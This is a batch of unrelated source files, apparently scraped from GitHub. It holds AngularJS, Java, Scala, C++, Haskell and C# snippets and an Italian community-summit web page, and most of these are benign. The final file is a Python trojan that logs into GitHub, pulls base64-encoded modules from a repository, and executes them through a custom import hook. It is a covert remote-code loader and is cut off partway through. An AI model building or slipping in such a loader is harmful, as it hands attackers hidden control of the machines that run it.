text:
angular.module('indexApp')
.factory('accessFac', function (localStorageService) {
    var obj = {}
    this.access = false;
    obj.getPermission = function () {    //set the permission to true
        this.access = true;
    }
    obj.checkPermission = function () {
        var authData = localStorageService.get('authorizationData');			//returns the users permission level
        if (authData == null)
            return false;
        return authData.isAuth == true;
    }
    obj.getUserInfo = function () {
        var authData = localStorageService.get('authorizationData');			//returns the users permission level
        if (authData == null)
            return null;
        return authData;
    }
    obj.getAuthorities = function (viewID) {

    }
    return obj;
});
/*
 obj.getPermission = function () {    //set the permission to true
        this.access = true;
        var authData = localStorageService.get('authorizationData');
        return authData;
    }
    obj.checkPermission = function () {
        debugger;
        var authData = localStorageService.get('authorizationData');

        return authData.isAuth == true;
    })*/


text:
package se.sperber.cryson.examples.advancedcrysondiary.model;

import org.hibernate.annotations.CacheConcurrencyStrategy;
import org.springframework.security.core.Authentication;
import se.sperber.cryson.security.Restrictable;

import javax.persistence.*;
import java.util.Set;

@Entity
@org.hibernate.annotations.Cache(usage = CacheConcurrencyStrategy.READ_WRITE)
public class EntryContent extends BaseEntity implements Restrictable {

  @Lob @Column(length = Integer.MAX_VALUE)
  private String text;

  @OneToOne(fetch = FetchType.LAZY, mappedBy = "content", optional = false)
  @org.hibernate.annotations.Cache(usage = CacheConcurrencyStrategy.READ_WRITE)
  private Entry entry;

  public boolean isReadableBy(Authentication authentication) {
    return entry == null || entry.isReadableBy(authentication);
  }

  public boolean isWritableBy(Authentication authentication) {
    return entry == null || entry.isWritableBy(authentication);
  }

}

redpajama_set_name: RedPajamaGithub


text:
package io.rdbc.pgsql.core.internal.typeconv

import io.rdbc.pgsql.core.internal.typeconv.ExactNumberConversions._
import io.rdbc.pgsql.core.internal.typeconv.extractors._
import io.rdbc.pgsql.core.typeconv.PartialTypeConverter

private[typeconv] object LongTypeConverter
  extends PartialTypeConverter[Long] {

  val cls = classOf[Long]

  def convert(any: Any): Option[Long] = {
    any match {
      case LongVal(l) => Some(l)
      case ByteVal(b) => Some(b.toLong)
      case ShortVal(s) => Some(s.toLong)
      case IntVal(l) => Some(l.toLong)
      case DecimalNumberVal(dn) => dn.toLongExact
      case _ => None
    }
  }
}


text:
<?php

// load ClassLoader framework
require_once implode(DIRECTORY_SEPARATOR,
	array(__DIR__, 'Pagosoft','ClassLoader', 'load.php'));

use Pagosoft\ClassLoader\DirectoryClassLoader;
use Pagosoft\ClassLoader\GlobalClassLoader;

// autoload this directory
$cl = new DirectoryClassLoader(__DIR__);
$cl->registerAutoload();

if(file_exists(__DIR__.'/../lib/pgs')) {
	// might be a local instance of pantr running so include lib directory
	$cl = new DirectoryClassLoader(__DIR__.'/../lib');
	$cl->registerAutoload();

	// load local symfony
	require_once __DIR__.'/../lib/SymfonyComponents/YAML/sfYaml.php';
	require_once __DIR__.'/../lib/SymfonyComponents/dependency-injection/lib/sfServiceContainerAutoloader.php';
}

if(!class_exists('sfYaml')) {
	require_once __DIR__.'/SymfonyComponents/YAML/sfYaml.php';
}
if(!class_exists('sfServiceContainerAutoloader')) {
	require_once __DIR__.'/SymfonyComponents/dependency-injection/lib/sfServiceContainerAutoloader.php';
}

// and everything else in the path (mostly for pantr bundle support)
$cl = new GlobalClassLoader();
$cl->registerAutoload();


text:
namespace Sloong
{
    class snowflake
    {
        static constexpr uint64_t TWEPOCH = 1534832906275L;
        static constexpr uint64_t WORKER_ID_BITS = 5L;
        static constexpr uint64_t DATACENTER_ID_BITS = 5L;
        static constexpr uint64_t SEQUENCE_BITS = 12L;
        static constexpr uint64_t WORKER_ID_SHIFT = SEQUENCE_BITS;
        static constexpr uint64_t DATACENTER_ID_SHIFT = SEQUENCE_BITS + WORKER_ID_BITS;
        static constexpr uint64_t TIMESTAMP_LEFT_SHIFT = SEQUENCE_BITS + WORKER_ID_BITS + DATACENTER_ID_BITS;
        // Fix the gcc build warning
        static constexpr uint64_t MAX_WORKER_ID = (1L << WORKER_ID_BITS) -1;//-1L ^ (-1L << WORKER_ID_BITS);
        static constexpr uint64_t MAX_DATACENTER_ID = (1L << DATACENTER_ID_BITS) -1;//-1L ^ (-1L << DATACENTER_ID_BITS);
        static constexpr uint64_t SEQUENCE_MASK = (1L << SEQUENCE_BITS) -1;//-1L ^ (-1L << SEQUENCE_BITS);

        using time_point = std::chrono::time_point<std::chrono::steady_clock>;

        time_point start_time_point_ = std::chrono::steady_clock::now();
        uint64_t start_millsecond_ = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::system_clock::now().time_since_epoch()).count();

        uint64_t last_timestamp_ = -1;
        uint64_t workerid_ = 0;
        uint64_t datacenterid_ = 0;
        uint64_t sequence_ = 0;
        std::mutex lock_;
    public:
        //snowflake(const snowflake &) = delete;

        snowflake &operator=(const snowflake &) = delete;

        void init(uint64_t workerid, uint64_t datacenterid)
        {
            if (workerid > MAX_WORKER_ID || workerid < 0)
            {
                throw std::runtime_error("worker Id can't be greater than 31 or less than 0");
            }

            if (datacenterid > MAX_DATACENTER_ID || datacenterid < 0)
            {
                throw std::runtime_error("datacenter Id can't be greater than 31 or less than 0");
            }

            workerid_ = workerid;
            datacenterid_ = datacenterid;
        }

        uint64_t nextid()
        {
            std::unique_lock<std::mutex> lock(lock_);
            //std::chrono::steady_clock  cannot decrease as physical time moves forward
            auto timestamp = millsecond();
            if (last_timestamp_ == timestamp)
            {
                sequence_ = (sequence_ + 1) & SEQUENCE_MASK;
                if (sequence_ == 0)
                {
                    timestamp = wait_next_millis(last_timestamp_);
                }
            }
            else
            {
                sequence_ = 0;
            }

            last_timestamp_ = timestamp;

            return ((timestamp - TWEPOCH) << TIMESTAMP_LEFT_SHIFT) | (datacenterid_ << DATACENTER_ID_SHIFT) | (workerid_ << WORKER_ID_SHIFT) | sequence_;
        }

    private:
        uint64_t millsecond() const noexcept
        {
            auto diff = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::steady_clock::now() - start_time_point_);
            return start_millsecond_ + diff.count();
        }

        uint64_t wait_next_millis(uint64_t last) const noexcept
        {
            auto timestamp = millsecond();
            while (timestamp <= last)
            {
                timestamp = millsecond();
            }
            return timestamp;
        }
    public:
        static std::unique_ptr<snowflake> Instance ;
    };
} // namespace Sloong

#endif


text:
namespace Cottle.Documents.Emitted.ExpressionGenerators
{
    internal class AccessExpressionGenerator : IExpressionGenerator
    {
        private readonly IExpressionGenerator _source;
        private readonly IExpressionGenerator _subscript;

        public AccessExpressionGenerator(IExpressionGenerator source, IExpressionGenerator subscript)
        {
            _source = source;
            _subscript = subscript;
        }

        public void Generate(Emitter emitter)
        {
            // Evaluate source expression and access fields
            _source.Generate(emitter);

            var source = emitter.EmitDeclareLocalAndStore<Value>();

            emitter.EmitLoadLocalAddressAndRelease(source);
            emitter.EmitCallValueFields();

            var fields = emitter.EmitDeclareLocalAndStore<IMap>();

            // Use subscript to get value from fields
            emitter.EmitLoadLocalValueAndRelease(fields);

            _subscript.Generate(emitter);

            var value = emitter.EmitDeclareLocalAndLoadAddress<Value>();

            emitter.EmitCallMapTryGet();

            var success = emitter.DeclareLabel();

            emitter.EmitBranchWhenTrue(success);

            // Emit undefined value on error
            emitter.EmitLoadUndefined();
            emitter.EmitStoreLocal(value);

            // Push value on stack
            emitter.MarkLabel(success);
            emitter.EmitLoadLocalValueAndRelease(value);
        }
    }
}


text:
package util;

import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileReader;
import java.util.Scanner;

import datastructures.lists.CustomLinkedList;

public class InputUtil {

    private static final String INPUT = "input_files/chapter_";

    public static String[] readContents(int chapter, String fileName) throws FileNotFoundException {
        StringBuffer buffer = new StringBuffer();
        StringBuilder fileBuilder = new StringBuilder(INPUT);

        File inputFile = new File(fileBuilder.append(chapter).append("/").append(fileName).toString());
        FileReader fileReader = new FileReader(inputFile);
        Scanner scanner = new Scanner(fileReader);

        while (scanner.hasNextLine()) {
            String line = scanner.nextLine().trim();
            if (line != null && !line.isEmpty()) {
                buffer.append(line).append("\n");
            }
        }
        scanner.close();

        return buffer.toString().split("\n");
    }

    public static CustomLinkedList<String> parseLinkedList(String line) {
        String[] elements = line.split(":");
        CustomLinkedList<String> list = new CustomLinkedList<String>();

        for (String e : elements) {
            if (e != null && !e.trim().isEmpty()) {
                list.add(e.toString());
            }
        }

        return list;
    }

    public static String getArg(String line) {
        return line.subSequence(line.indexOf('(') + 1, line.indexOf(')')).toString();
    }

    public static String[] getArgs(String line, int length) {
        String[] args = new String[length];
        if (length == 2) {
            args[0] = line.subSequence(line.indexOf('(') + 1, line.indexOf(',')).toString();
            args[1] = line.subSequence(line.indexOf(',') + 1, line.indexOf(')')).toString();
        }

        return args;
    }
}


text:
{-# LANGUAGE CPP, LambdaCase, JavaScriptFFI, UnliftedFFITypes, BangPatterns,
             DeriveGeneric, StandaloneDeriving, MagicHash, TupleSections
  #-}

{- | Code used by the RTS

 -}

module GHCJS.Prim.Internal ( blockedIndefinitelyOnMVar
                           , blockedIndefinitelyOnSTM
                           , wouldBlock
                           ) where

import           Control.Exception

import           GHCJS.Prim
import           GHC.Exts

wouldBlock :: String -> SomeException
wouldBlock = toException . WouldBlockException

blockedIndefinitelyOnMVar :: SomeException
blockedIndefinitelyOnMVar = toException BlockedIndefinitelyOnMVar

blockedIndefinitelyOnSTM :: SomeException
blockedIndefinitelyOnSTM = toException BlockedIndefinitelyOnSTM


text:
// import hyperHTML from 'hyperhtml';

/**
 * [description]
 */
class ENtity extends HTMLElement {
  /**
   * When one of these attributes changes value, it triggers attributeChangedCallback
   * @return {Array} attribute names.
   */
  static get observedAttributes() { return ['id']; }

  // https://github.com/WebReflection/document-register-element#v1-caveat
  constructor(self) {
    self = super(self);

    console.log('e-ntity created', arguments);
    return self;
  }
  /**
   * Triggered when the component is mounted on a DOM.
   */
  connectedCallback() {
    const state = {};
    console.log('e-ntity connectedCallback', arguments);
    this.render(state);
  }

  /**
   * Triggered when an an observedAttribute has changed.
   * @param {String} attrName - the attribute name.
   * @param {Object} oldValue - the old value.
   * @param {Object} newValue - the new value.
   */
  attributeChangedCallback(attrName, oldValue, newValue) {
    console.log('attr changed', attrName, oldValue, newValue);
  }

  render(state) {
    this.classList = ['eNtity'];
    // hyperHTML.bind(this)`<h1>Component Loaded and Rendering</h1>`;
  }
}
export default ENtity;


text:
module Graphics.SimpleFrameBuffer (createWindow, drawBuffer, Buffer(pixelValue)) where

import qualified Graphics.UI.GLFW as GLFW
import           Graphics.Rendering.OpenGL hiding(drawBuffer)

import Foreign.Marshal.Array
import Data.Word

class Buffer a where
	-- | Return the RGB color of the pixel
	pixelValue :: a -> (Int,Int) -> (Word8, Word8, Word8)

instance Buffer [[(Word8, Word8, Word8)]] where
	pixelValue buffer (x,y) = (!! x) . (!! y) $ buffer

-- | Create a new window to draw on.
createWindow :: (Int, Int) -> IO (Maybe GLFW.Window)
createWindow (width, height) = do
	GLFW.init
	GLFW.createWindow width height "" Nothing Nothing

-- | Draws the buffer object on screen resizing the window to
--   the correct resolution
drawBuffer :: Buffer buffer =>  GLFW.Window -> (Int, Int) -> buffer -> IO ()
drawBuffer window (width, height) buffer = do
	GLFW.makeContextCurrent $ Just 	window
	cBuf <- newArray $ pixelList  (width, height) buffer
	let pixelData = PixelData RGBA UnsignedByte cBuf
	drawPixels (Size (fromIntegral width) (fromIntegral height)) pixelData
	GLFW.swapBuffers window

pixelList :: Buffer buffer => (Int,Int) -> buffer -> [Color4 Word8]
pixelList (width, height) buffer
	= [(Color4 r g b 255) | x <- [0..width-1], y <- [0..height-1],
			let c@(r,g,b) = pixelValue buffer (x, y)]


text:
using osu.Game.Rulesets.Catch.Objects;

#nullable enable

namespace osu.Game.Rulesets.Catch.Edit.Blueprints.Components
{
    /// <summary>
    /// Holds the state of a vertex in the path of a <see cref="EditablePath"/>.
    /// </summary>
    public class VertexState
    {
        /// <summary>
        /// Whether the vertex is selected.
        /// </summary>
        public bool IsSelected { get; set; }

        /// <summary>
        /// Whether the vertex can be moved or deleted.
        /// </summary>
        public bool IsFixed { get; set; }

        /// <summary>
        /// The position of the vertex before a vertex moving operation starts.
        /// This is used to implement "memory-less" moving operations (only the final position matters) to improve UX.
        /// </summary>
        public JuiceStreamPathVertex VertexBeforeChange { get; set; }
    }
}


text:
(function() {
  var app;

  app = angular.module("roulette", ["ngTouch", "superswipe"]);

  app.service("imageLoader", function($window, $document, $swipe, $rootScope) {
    var count, getProgressPercent, sources, totalCount;
    sources = [];
    count = 0;
    totalCount = 0;
    getProgressPercent = function() {
      return 100 - Math.round((count * 100) / totalCount);
    };
    return {
      images: {},
      done: function(success) {
        this.loaded = true;
        return typeof success === "function" ? success() : void 0;
      },
      load: function(success, progress) {
        var image, source, _i, _len, _results,
          _this = this;
        totalCount = count;
        if (count === 0) {
          this.done(success);
        }
        _results = [];
        for (_i = 0, _len = sources.length; _i < _len; _i++) {
          source = sources[_i];
          image = new Image;
          image.onload = function() {
            count--;
            if (count === 0) {
              _this.done(success);
            }
            return typeof progress === "function" ? progress(getProgressPercent()) : void 0;
          };
          image.onerror = function() {
            return count--;
          };
          _results.push(image.src = source);
        }
        return _results;
      },
      add: function(source) {
        var image;
        this.loaded = false;
        sources.push(source);
        count++;
        image = new Image;
        image.src = source;
        this.images[source] = image;
        return image;
      },
      loaded: false
    };
  });

  app.directive("roulette", function($window, $document, $swipe, $rootScope, imageLoader) {
    var diff, getAngle, initCanvas, makeAnglePositif, negFactor, offset, rotateWheel;
    $window.requestAnimFrame = (function() {
      return $window.requestAnimationFrame || $window.webkitRequestAnimationFrame || $window.mozRequestAnimationFrame || $window.oRequestAnimationFrame || $window.msRequestAnimationFrame || function(callback) {
        return $window.setTimeout(callback, 1000 / swGame.settings.cycle);
      };
    })();
    makeAnglePositif = function(angle) {
      return (angle + 2 * Math.PI) % (2 * Math.PI);
    };
    diff = function(a, b) {
      return getAngle(b) - getAngle(a);
    };
    getAngle = function(coords) {
      var angle;
      angle = Math.atan(coords.y / coords.x);
      if (coords.x < 0) {
        if (coords.y < 0) {
          angle += Math.PI;
        } else {
          angle -= Math.PI;
        }
      } else {
        if (coords.y < 0) {
          angle += 2 * Math.PI;
        }
      }
      return angle;
    };
    rotateWheel = function(ctx, wheel, angle) {
      var radius;
      radius = Math.round(wheel.width / 2);
      ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height);
      ctx.save();
      ctx.translate(radius, radius);
      ctx.rotate(angle);
      ctx.drawImage(wheel, -radius, -radius);
      return ctx.restore();
    };
    initCanvas = function(width, height) {
      var canvas, ctx;
      canvas = document.createElement("canvas");
      ctx = canvas.getContext("2d");
      canvas.height = height;
      canvas.width = width;
      canvas.style.height = "" + height + "px";
      canvas.style.width = "" + width + "px";
      return [canvas, ctx];
    };
    offset = function(el) {
      var offsetLeft, offsetTop;
      offsetTop = 0;
      offsetLeft = 0;
      while (el) {
        offsetTop += el.offsetTop;
        offsetLeft += el.offsetLeft;
        el = el.offsetParent;
      }
      return {
        top: offsetTop,
        left: offsetLeft
      };
    };
    negFactor = function(x) {
      if (x < 0) {
        return 1;
      } else {
        return 0;
      }
    };
    return {
      restrict: "E",
      scope: {
        thickness: "@?",
        centerColor: "@?",
        labelColors: "=?",
        labelIcons: "=?",
        labels: "=",
        fontSize: "@?",
        fontFamily: "@?",
        colors: "=?",
        iconsRatio: "@?",
        snap: "=?"
      },
      link: function(scope, element, attributes) {
        var angle, canvas, canvasSide, centerColor, color, ctx, drawLabelsAndIcons, elOffset, fontFamily, fontSize, getDestAngle, i, iconsRatio, imageUrl, isGrabbed, origin, radius, sectionCount, sectionSpread, snap, startAngle, thickness, wheelCanvas, wheelCtx, _i, _j, _len, _len1, _ref, _ref1, _ref2, _ref3;
        isGrabbed = false;
        angle = 0;
        origin = null;
        fontSize = scope.fontSize || 12;
        centerColor = scope.centerColor || "#ffffff";
        fontFamily = scope.fontFamily || "helvetica";
        iconsRatio = scope.iconsRatio || 0.5;
        sectionCount = scope.labels.length;
        if (!(sectionCount > 1)) {
          throw "roulette directive: scope.labels, please specify at least 2 labels";
        }
        if (scope.colors && scope.colors.length !== sectionCount) {
          throw "roulette directive: scope.colors, please give as many colors as labels: expected " + sectionCount + ", found " + scope.colors.length;
        }
        if (scope.labelColors && scope.labelColors.length !== sectionCount) {
          throw "roulette directive: scope.labelColors, please give as many labelColors as labels: expected " + sectionCount + ", found " + scope.labelColors.length;
        }
        if (scope.labelIcons && scope.labelIcons.length !== sectionCount) {
          throw "roulette directive: scope.labelIcons, please give as many labelIcons as labels: expected " + sectionCount + ", found " + scope.labelIcons.length;
        }
        if (scope.snap == null) {
          scope.snap = true;
        }
        if (!(scope.colors && scope.labelColors)) {
          if (!scope.colors) {
            scope.colors = [];
          }
          if (!scope.labelColors) {
            scope.labelColors = [];
          }
          i = 0;
          while (i++ < sectionCount) {
            if (scope.labelColors.length !== sectionCount) {
              scope.labelColors.push("#ffffff");
            }
            if (scope.colors.length !== sectionCount) {
              if (i % 2) {
                scope.colors.push("#999999");
              } else {
                scope.colors.push("#666666");
              }
            }
          }
        }
        canvasSide = element[0].offsetWidth;
        _ref = initCanvas(canvasSide, canvasSide), canvas = _ref[0], ctx = _ref[1];
        _ref1 = initCanvas(canvasSide, canvasSide), wheelCanvas = _ref1[0], wheelCtx = _ref1[1];
        if (scope.thickness) {
          thickness = parseInt(scope.thickness, 10);
          if (scope.thickness.indexOf("%") > 0) {
            thickness = Math.round(thickness * canvasSide / 100);
          }
        }
        if (!thickness) {
          thickness = canvasSide / 4;
        }
        sectionCount = scope.colors.length;
        sectionSpread = Math.PI * 2 / sectionCount;
        startAngle = -(Math.PI + sectionSpread) / 2;
        radius = Math.round(canvasSide / 2);
        _ref2 = scope.colors;
        for (i = _i = 0, _len = _ref2.length; _i < _len; i = ++_i) {
          color = _ref2[i];
          wheelCtx.fillStyle = color;
          wheelCtx.beginPath();
          wheelCtx.moveTo(radius, radius);
          wheelCtx.arc(radius, radius, radius, sectionSpread * i + startAngle, sectionSpread * (i + 1) + startAngle, false);
          wheelCtx.fill();
        }
        wheelCtx.fillStyle = centerColor;
        wheelCtx.beginPath();
        wheelCtx.moveTo(0, 0);
        wheelCtx.moveTo(radius, radius);
        wheelCtx.arc(radius, radius, radius - thickness, 0, Math.PI * 2, true);
        wheelCtx.fill();
        drawLabelsAndIcons = function() {
          var img, label, labelMargin, labelSize, _j, _len1, _ref3, _ref4, _ref5;
          wheelCtx.save();
          wheelCtx.translate(radius, radius);
          console.log(radius, radius);
          wheelCtx.font = "" + fontSize + "px " + fontFamily;
          labelMargin = thickness * 0.2;
          _ref3 = scope.labelColors;
          for (i = _j = 0, _len1 = _ref3.length; _j < _len1; i = ++_j) {
            color = _ref3[i];
            wheelCtx.fillStyle = color;
            label = scope.labels[i];
            labelSize = wheelCtx.measureText(label);
            wheelCtx.fillText(label, -labelSize.width / 2, thickness - radius - labelMargin);
            if ((_ref4 = scope.labelIcons) != null ? _ref4[i] : void 0) {
              img = imageLoader.images[(_ref5 = scope.labelIcons) != null ? _ref5[i] : void 0];
              wheelCtx.drawImage(img, 0, 0, img.width, img.height, Math.round(-img.width * iconsRatio / 2), -radius + (thickness - img.height * iconsRatio - fontSize - labelMargin) / 2, img.width * iconsRatio, img.height * iconsRatio);
            }
            wheelCtx.rotate(sectionSpread);
          }
          wheelCtx.restore();
          rotateWheel(ctx, wheelCanvas, 0);
          return element.append(canvas);
        };
        if (scope.labelIcons != null) {
          _ref3 = scope.labelIcons;
          for (_j = 0, _len1 = _ref3.length; _j < _len1; _j++) {
            imageUrl = _ref3[_j];
            imageLoader.add(imageUrl);
          }
          imageLoader.load(drawLabelsAndIcons);
        } else {
          drawLabelsAndIcons();
        }
        getDestAngle = function(section) {
          var destAngle;
          destAngle = makeAnglePositif(-section * sectionSpread);
          if (destAngle === 0 && angle > Math.PI) {
            destAngle = 2 * Math.PI;
          }
          return destAngle;
        };
        snap = function(section) {
          var animloop, destAngle, lastTime, progress, sign;
          angle = makeAnglePositif(angle);
          destAngle = getDestAngle(section);
          progress = 0.1;
          sign = destAngle > angle ? 1 : -1;
          lastTime = 0;
          animloop = function() {
            var newTime, timeElapsed;
            if (isGrabbed) {
              return;
            }
            newTime = new Date().getTime();
            timeElapsed = newTime - lastTime;
            if (timeElapsed > 30) {
              if (sign * destAngle > sign * (angle + sign * progress)) {
                angle += sign * progress;
                requestAnimFrame(animloop);
              } else {
                angle = destAngle;
              }
              return rotateWheel(ctx, wheelCanvas, angle);
            } else {
              return requestAnimFrame(animloop);
            }
          };
          return animloop();
        };
        $swipe.bind(angular.element(canvas), {
          'start': function(coords) {
            isGrabbed = true;
            return origin = {
              x: coords.x - (elOffset.left + radius),
              y: coords.y - (elOffset.top + radius)
            };
          },
          'move': function(coords) {
            var dest;
            dest = {
              x: coords.x - (elOffset.left + radius),
              y: coords.y - (elOffset.top + radius)
            };
            return rotateWheel(ctx, wheelCanvas, angle + diff(origin, dest));
          },
          'end': function(coords) {
            var angleDiff, dest, destAngle, eventName, section, sectionAngle, x1y0, _ref4, _ref5;
            isGrabbed = false;
            dest = {
              x: coords.x - (elOffset.left + radius),
              y: coords.y - (elOffset.top + radius)
            };
            angleDiff = diff(origin, dest);
            angle = makeAnglePositif(angle + angleDiff);
            section = parseInt(makeAnglePositif(-angle + Math.PI / sectionCount) / sectionSpread, 10);
            eventName = "roulette:turned";
            if (scope.snap) {
              snap(section);
            }
            if (Math.abs(angleDiff) < sectionSpread / 4) {
              x1y0 = {
                x: 100,
                y: 0
              };
              sectionAngle = diff(x1y0, dest);
              destAngle = getDestAngle(section);
              section = parseInt(makeAnglePositif(sectionAngle + 2 * sectionSpread - destAngle) / sectionSpread, 10);
              eventName = "roulette:select";
            }
            return $rootScope.$broadcast(eventName, {
              index: section,
              label: scope.labels[section],
              color: scope.colors[section],
              labelColor: (_ref4 = scope.labelColors) != null ? _ref4[section] : void 0,
              icon: (_ref5 = scope.labelIcons) != null ? _ref5[section] : void 0
            });
          }
        });
        return elOffset = offset(element[0]);
      }
    };
  });

}).call(this);


text:
package com.clike.dbunit.datatype;

import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.is;
import static org.hamcrest.Matchers.not;

import org.dbunit.dataset.datatype.DataType;
import org.dbunit.dataset.datatype.DataTypeException;
import org.junit.Test;

public class CustomableDataTypeFactoryTest {

  @Test
  public void testAddCustomType() throws DataTypeException {
    CustomableDataTypeFactory factory = new CustomableDataTypeFactory();
    factory.addCustomType("MYTYPE", DataType.BOOLEAN);
    factory.addCustomType("MYTYPE2", DataType.BOOLEAN);

    DataType dataType = factory.createDataType(55, "MYTYPE");
    DataType dataType2 = factory.createDataType(1, "MYTYPE2");
    DataType dataType3 = factory.createDataType(1, "VARCHAR");

    assertThat(dataType, is(DataType.BOOLEAN));
    assertThat(dataType2, is(DataType.BOOLEAN));
    assertThat(dataType3, not(DataType.BOOLEAN));
  }

  @Test
  public void testRemoveCustomType() throws DataTypeException {
    CustomableDataTypeFactory factory = new CustomableDataTypeFactory();

    DataType customedDatatype = DataType.DOUBLE;
    DataType customDatatype = DataType.BOOLEAN;

    factory.addCustomType(customedDatatype.toString(), customDatatype);

    DataType dataType = factory.createDataType(customedDatatype.getSqlType(), customedDatatype.toString());

    factory.removeCustomType(customedDatatype.toString());

    DataType dataType2 = factory.createDataType(customedDatatype.getSqlType(), customedDatatype.toString());

    assertThat(dataType, is(customDatatype));
    assertThat(dataType2, not(customDatatype));
  }

}


text:
<!DOCTYPE html>

		<meta charset="utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		<meta name="description" content="CLSxItaly - Community Leadership Summit Italy">
		<meta name="author" content="Alfredo Morresi">
		<meta name="google-site-verification" content="YYyWUYbZ_HgingodV1BSAdRddXlo6ph-ULcFTUBvWK8" />
		<title>CLSxItaly - Community Leadership Summit Italy</title>

		<link href="css/bootstrap.min.css" rel="stylesheet">

		<link href="css/grayscale.css" rel="stylesheet">

		<link href="font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
		<link href="https://fonts.googleapis.com/css?family=Lora:400,700,400italic,700italic" rel="stylesheet" type="text/css">
		<link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css">

					<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-main-collapse">

					</button>

						  CLSxItaly

							About

							Agenda

							FAQ

							Dove

							Team

							Sponsor

							Precedenti Edizioni

CLSxItaly

Community Leadership Summit "X" Italy
Terza Edizione

								L'evento italiano per i Community Lover

								Talent Garden Milano Calabiana, Milano, 6 Maggio 2017

									Registrati!

									 @CLSxItaly

Guarda video e slide delle precedenti Edizioni

CLSxItaly

Il Community Leadership Summit X Italy (CLSxItaly) è l'evento per tutti i community leader, organizzatori, curiosi e interessati che vogliono condividere la loro esperienza nella gestione di una community.

Basato sul format CLSx, ne riprende la licenza e si pone come l'occasione per capire, discutere, imparare e migliorare l'arte del community management, con un'attenzione particolare, ma non unica, all'ecosistema tecnico italiano.

L'evento si dividerà in due momenti: durante la mattina, diverse sessioni plenarie analizzeranno il ciclo di vita di una community: dalla sua nascita fino al suo affidamento ad altri leader, passando per la crescita, metriche utili per comprenderne lo sviluppo, techiche di gestione del conflitto, diversity e molto altro. Nel pomeriggio, invece, una unconference aperta e gestita da tutti i partecipanti, permetterà di scambiarsi opinioni ed esperienze, condividere successi ed insuccessi, confrontarsi, dar vita a nuove sinergie e pianificare idee future assieme.

Il CLSxItaly, inoltre, è un'occasione per le diverse community di vedersi e incontrarsi dal vivo. Organizzare un aperitivo tra i gruppi della vostra città o trovarsi a cena con tutti i leader del network, sparsi lungo l'Italia? Il venerdì o il sabato sera sono ottimi momenti per farlo. Basta solo organizzarsi!

AGENDA

									08:45-09:30
									Registrazione

									09:30-10:00
									Apertura e presentazioni

									10:00-13.15

										Sessioni (in arrivo)

									13:15-14:15
									Pranzo

									14:15-17:00
									Unconference

									17:00-17:30
									Chiusura

Registrati!

Frequenly Asked Questions

Perché non posso perdermi l'evento? Perché sarà possibile incontrare e conoscere molti altri community leader. Persone alimentate dalla stessa passione, con cui scambiarsi opinioni ed esperienze, grazie alle quali scoprire nuovi format ed idee da proporre ai propri eventi. Con cui creare inaspettate sinergie.

Sono coordinatore di una community, ma non tecnica. Posso partecipare lo stesso? Certo che puoi, i temi proposti sono sicuramente orizzontali al tipo di community che gestisci, e supponiamo non avrai difficoltà a trovare qualcosa di interessante da condividere con tutti gli altri.

Perché il biglietto è a pagamento? Com'è noto, oltre la metà delle persone si iscrive ma poi non partecipa ad eventi gratuiti di questo tipo. Abbiamo quindi deciso per un biglietto dal prezzo simbolico, che assicura maggiore partecipazione e permetterà di coprire parte delle spese. CLSxItaly è quasi totalmente autofinanziato, e ci teniamo ad essere trasparenti, per questo abbiamo un budget pubblico.

Ci saranno eventi "social" la sera prima o dopo il summit? Non abbiamo appositamente organizzato nessuna attività attorno al CLSxItaly per dare massimo spazio ad iniziative spontanee, generate dalla presenza di così tanti leader di community "affine". Sentiti quindi libero di creare occasioni di networking, come aperitivi, cene o altro. Ti chiediamo solo di farcelo sapere, in modo da poter coordinare e far conoscere tutto quello che accadrà attorno al CLSxItaly. Siamo disponibili se ti serve una mano per organizzare qualcosa.

Ti aspettiamo!

            Sabato 6 Maggio 2017 ore 09.00

              Talent Garden Milano Calabiana

						Via Arcivescovo Calabiana, N°6, 20139 Milano

 Registrati!

IL TEAM DI CLSxItaly

Alfredo Morresi

Tiramisù lover, Android dev, free software fan. Googler, helping dev communities in Italy and Europe

						@rainbowbreeze - LinkedIn

Alessio Fattorini

Prosecco Evangelist, NethServer Community Manager, Open Source Enthusiast, Linux Sysadmin, Dad.

						@ale_fattorini

Mara Marzocchi

						I believe in code and good people. Real animal lover. Co-Founder of Codemotion and the rest is history :-)

						@maraexceptioon

Michel Murabito

						Nerd T-shirt collector, Web Dev, Cinephile, music listener. Dev Community addict and open source lover!

						@michelmurabito

Nicolò Carandini

						Co-fondatore e Community Leader di DomusDotNet e OpenDomus, Open Software lover, Community Dinners fanboy.

						@TPCWare

Stefano Ottaviani

						Co-fondatore della community DevMarche, appassionato al mondo dello sviluppo software in generale

						@ste8

Vuoi darci una mano, hai domande, idee, feedback? Il tuo punto di vista è fondamentale, contattaci!

						clsxitaly@gmail.com

							 @CLSxItaly

I nostri sponsor

The Community Leadership Summit has always had a set of key values in place to create the ideal environment for sharing and learning great community best practice. This is that we will always be an open, freely accessible, vendor-neutral event, and each of our sponsors supports and respects these values and contributes to help make the event happen. Thanks!

Se vuoi supportare l'evento, scrivici.

Quest'opera è distribuita con Licenza Creative Commons Attribuzione - Condividi allo stesso modo 4.0 Internazionale.


text:
import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os

# pip install github3
from github3 import login

trojan_id = "abc"

# The following syntax with the "%" is similar to printf in C
trojan_config = "%s.json" % trojan_id
data_path = "data/%s/" % trojan_id
trojan_modules = []

task_queue = Queue.Queue()
configured = False

class GitImporter(object):
    """ Custom Python module importer """
    def __init__(self):
        self.current_module_code = ""

    def find_module(self, fullname, path=None):
        if configured:
            print "[*] Attempting to retrieve %s" % fullname
            new_library = get_file_contents("modules/%s" % fullname)
            if new_library is not None:
                self.current_module_code = base64.b64decode(new_library)
                return self
        return None

    def load_module(self, name):
        module = imp.new_module(name)
        exec self.current_module_code in module.__dict__
        sys.modules[name] = module
        return module

def connect_to_github():
    """ Authenticates and Connects to the Github repo """

    # Authentication
    from os.path import isfile
    if isfile("github-logins.json"):
        with open("github-logins.json", "r") as loginfile:
            logins = json.load(loginfile)
            gh = login(username=logins["username"], password=logins["password"])
    else:
        from getpass import getpass
        password = getpass()
